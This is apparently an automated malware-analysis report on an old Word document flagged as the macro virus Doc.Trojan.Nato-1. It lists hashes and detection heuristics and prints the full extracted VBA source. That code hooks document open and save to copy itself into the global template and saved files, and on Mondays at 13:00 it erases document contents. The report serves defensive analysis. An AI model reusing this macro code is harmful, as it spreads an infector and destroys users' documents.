Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c979e7511ac5b0ab…

MALICIOUS

Office (OLE)

50.0 KB Created: 1998-01-12 21:04:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 01798ed6f1205bc4e8e14bf445b53844 SHA-1: 8b5a0e03f8c7d4d4b00d2bcadf4515945e22aab8 SHA-256: c979e7511ac5b0aba5034248207664a9aa4e4272494bd60444deb3dd07b20353
128 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro-based malware, specifically triggering high-severity heuristics for WordBasic macro-virus markers and VBA macros. The presence of an AutoOpen macro indicates an intent to execute malicious code automatically when the document is opened. The ClamAV detection name 'Doc.Trojan.Nato-1' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Nato-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nato-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    WordBasic.MacroCopy "AutoOpen", WordBasic.[WindowName$]() + ":AutoOpen", 1

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4847 bytes
SHA-256: 021cb1bac7b4d6c38b9e2486ce1c992ea5f29a422ada384f7eae3501430af160
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FileTemplates"

Public Sub MAIN()
Attribute MAIN.VB_Description = "????????? ????????? ???????"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileTemplates.MAIN"
End Sub

Attribute VB_Name = "ToolsMacro"

Public Sub MAIN()
Attribute MAIN.VB_Description = "??????, ????????, ???????? ??? ????????? ???????"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.ToolsMacro.MAIN"
End Sub

Attribute VB_Name = "ListMacros"

Public Sub MAIN()
Attribute MAIN.VB_Description = "??????????? ?????? ????????? ????????"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.ListMacros.MAIN"
End Sub

Attribute VB_Name = "FileSaveAs"

Public Sub MAIN()
Attribute MAIN.VB_Description = "?????????? ????????? ??? ?????? ??????, ? ?????? ??????? ??? ? ?????? ???????"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSaveAs.MAIN"
Dim InfectIt
On Error GoTo -1: On Error GoTo Abort
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
WordBasic.Dialog.FileSaveAs dlg
InfectIt = 0
If (dlg.Format = 0) Or (dlg.Format = 1) Then
InfectIt = 1
End If
WordBasic.FileSaveAs dlg
If InfectIt = 1 Then
WordBasic.MacroCopy "AutoOpen", WordBasic.[WindowName$]() + ":AutoOpen", 1
WordBasic.MacroCopy "FileSave", WordBasic.[WindowName$]() + ":FileSave", 1
WordBasic.MacroCopy "FileTemplates", WordBasic.[WindowName$]() + ":FileTemplates", 1
WordBasic.MacroCopy "FileSaveAs", WordBasic.[WindowName$]() + ":FileSaveAs", 1
WordBasic.MacroCopy "ToolsMacro", WordBasic.[WindowName$]() + ":ToolsMacro", 1
WordBasic.MacroCopy "ListMacros", WordBasic.[WindowName$]() + ":ListMacros", 1
WordBasic.FileSaveAs Name:=WordBasic.[FileNameFromWindow$](), Format:=1
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
WordBasic.FileSaveAll 1, 1
End If
Abort:
End Sub

Attribute VB_Name = "FileSave"

Public Sub MAIN()
Attribute MAIN.VB_Description = "?????????? ????????? ????????? ??? ???????"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSave.MAIN"
WordBasic.DisableAutoMacros 0
On Error GoTo -1: On Error GoTo Abort
If (WordBasic.WeekDay(WordBasic.Now()) = 2) And (WordBasic.Hour(WordBasic.Now()) = 13) Then
WordBasic.EditSelectAll
WordBasic.EditCut
WordBasic.FileSaveAll 1, 1
WordBasic.EditSelectAll
WordBasic.EditCut
WordBasic.Insert "The Macro.Word.NATO was created by MaD PaNiC..."
WordBasic.FileExit 2
End If
WordBasic.MacroCopy "AutoOpen", WordBasic.[WindowName$]() + ":AutoOpen", 1
WordBasic.MacroCopy "FileSave", WordBasic.[WindowName$]() + ":FileSave", 1
WordBasic.MacroCopy "FileTemplates", WordBasic.[WindowName$]() + ":FileTemplates", 1
WordBasic.MacroCopy "FileSaveAs", WordBasic.[WindowName$]() + ":FileSaveAs", 1
WordBasic.MacroCopy "ToolsMacro", WordBasic.[WindowName$]() + ":ToolsMacro", 1
WordBasic.MacroCopy "ListMacros", WordBasic.[WindowName$]() + ":ListMacros", 1
WordBasic.FileSaveAs Name:=WordBasic.[FileNameFromWindow$](), Format:=1
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
WordBasic.FileSaveAll 1, 1
Abort:
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "NATO"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
WordBasic.DisableAutoMacros 0
On Error GoTo -1: On Error GoTo Abort
WordBasic.MacroCopy "AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", 1
WordBasic.MacroCopy "FileSave", WordBasic.[FileName$]() + ":FileSave", 1
WordBasic.MacroCopy "FileTemplates", WordBasic.[FileName$]() + ":FileTemplates", 1
WordBasic.MacroCopy "FileSaveAs", WordBasic.[FileName$]() + ":FileSaveAs", 1
WordBasic.MacroCopy "ToolsMacro", WordBasic.[FileName$]() + ":ToolsMacro", 1
WordBasic.MacroCopy "ListMacros", WordBasic.[FileName$]() + ":ListMacros", 1
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
WordBasic.FileSaveAs Name:=WordBasic.[FileNameFromWindow$](), Format:=1
WordBasic.FileSaveAll 1, 1
Abort:
On Error GoTo -1: On Error GoTo Quit
WordBasic.MacroCopy WordBasic.[WindowName$]() + ":AutoOpen", "AutoOpen", 1
WordBasic.MacroCopy WordBasic.[WindowName$]() + ":FileSave", "FileSave", 1
WordBasic.MacroCopy WordBasic.[WindowName$]() + ":FileTemplates", "FileTemplates", 1
WordBasic.MacroCopy WordBasic.[WindowName$]() + ":FileSaveAs", "FileSaveAs", 1
WordBasic.MacroCopy WordBasic.[WindowName$]() + ":ToolsMacro", "ToolsMacro", 1
WordBasic.MacroCopy WordBasic.[WindowName$]() + ":ListMacros", "ListMacros", 1
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
WordBasic.FileSaveAll 1, 1
Quit:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.